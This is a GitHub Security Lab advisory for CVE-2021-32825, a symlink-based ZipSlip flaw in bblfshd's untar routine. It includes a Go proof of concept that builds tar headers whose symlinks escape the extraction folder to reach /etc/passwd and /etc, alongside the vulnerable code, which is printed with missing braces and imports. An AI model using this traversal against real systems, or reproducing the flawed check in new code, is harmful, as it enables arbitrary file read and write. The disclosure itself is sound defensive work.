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July 21, 2021

GHSL-2020-258: ZipSlip vulnerability in bblfshd - CVE-2021-32825

GitHub Security Lab

Coordinated Disclosure Timeline


The unsafe handling of symbolic links in an unpacking routine may enable attackers to read and/or write to arbitrary locations outside the designated target folder.



Tested Version

Latest commit at the time of reporting (November 27, 2020).


The routine untar attempts to guard against creating symbolic links that point outside the directory a tar archive is extracted to. However, a malicious tarball first linking subdir/parent to .. (allowed, because subdir/.. falls within the archive root) and then linking subdir/parent/escapes to .. results in a symbolic link pointing to the tarball’s parent directory, contrary to the routine’s goals.

Proof of concept, using a version of untar tweaked to accept an array of tar headers instead of working from an actual tar archive:

package main

import (

func main() {
	var headers []tar.Header = make([]tar.Header, 3)

	headers[0].Name = "subdir/parent"
	headers[0].Linkname = ".."
	headers[0].Typeflag = tar.TypeSymlink

	headers[1].Name = "subdir/parent/passwd"
	headers[1].Linkname = "../../etc/passwd"
	headers[1].Typeflag = tar.TypeSymlink

	headers[2].Name = "subdir/parent/etc"
	headers[2].Linkname = "../../etc"
	headers[2].Typeflag = tar.TypeSymlink

	untar("/tmp/extracthere", headers)

func untar(dest string, headers []tar.Header) error {
	entries := make(map[string]bool)
	var dirs []*tar.Header
	for _, hdr := range headers {

		hdr.Name = filepath.Clean(hdr.Name)
		if !strings.HasSuffix(hdr.Name, string(os.PathSeparator)) {
			// Not the root directory, ensure that the parent directory exists
			parent := filepath.Dir(hdr.Name)
			parentPath := filepath.Join(dest, parent)
			if _, err2 := os.Lstat(parentPath); err2 != nil && os.IsNotExist(err2) {
				if err3 := os.MkdirAll(parentPath, 0755); err3 != nil {
					return err3
		path := filepath.Join(dest, hdr.Name)
		if entries[path] {
			return fmt.Errorf("duplicate entry for %s", path)
		entries[path] = true
		rel, err := filepath.Rel(dest, path)
		if err != nil {
			return err
		info := hdr.FileInfo()
		if strings.HasPrefix(rel, ".."+string(os.PathSeparator)) {
			return fmt.Errorf("%q is outside of %q", hdr.Name, dest)

		if strings.HasPrefix(info.Name(), ".wh.") {
			path = strings.Replace(path, ".wh.", "", 1)

			if err := os.RemoveAll(path); err != nil {
				return errors.New("unable to delete whiteout path")

			continue loop

		switch hdr.Typeflag {
		case tar.TypeSymlink:
			target := filepath.Join(filepath.Dir(path), hdr.Linkname)

			if !strings.HasPrefix(target, dest) {
				return fmt.Errorf("invalid symlink %q -> %q", path, hdr.Linkname)

			err := os.Symlink(hdr.Linkname, path)
			if err != nil {
				if os.IsExist(err) {
					if err := os.Remove(path); err != nil {
						return err

					if err := os.Symlink(hdr.Linkname, path); err != nil {
						return err
	for _, hdr := range dirs {
		path := filepath.Join(dest, hdr.Name)

		finfo := hdr.FileInfo()
		// I believe the old version was using time.Now().UTC() to overcome an
		// invalid error from chtimes.....but here we lose hdr.AccessTime like this...
		if err := os.Chtimes(path, time.Now().UTC(), finfo.ModTime()); err != nil {
			return errors.New("error changing time")
	return nil


This issue may lead to arbitrary file write (with same permissions as the program running the unpack operation) if the attacker can control the archive file. Additionally, if the attacker has read access to the unpacked files, he may be able to read arbitrary system files the parent process has permissions to read.





This issue was discovered and reported by GitHub team member @smowton (Chris Smowton).


You can contact the GHSL team at, please include a reference to GHSL-2020-258 in any communication regarding this issue.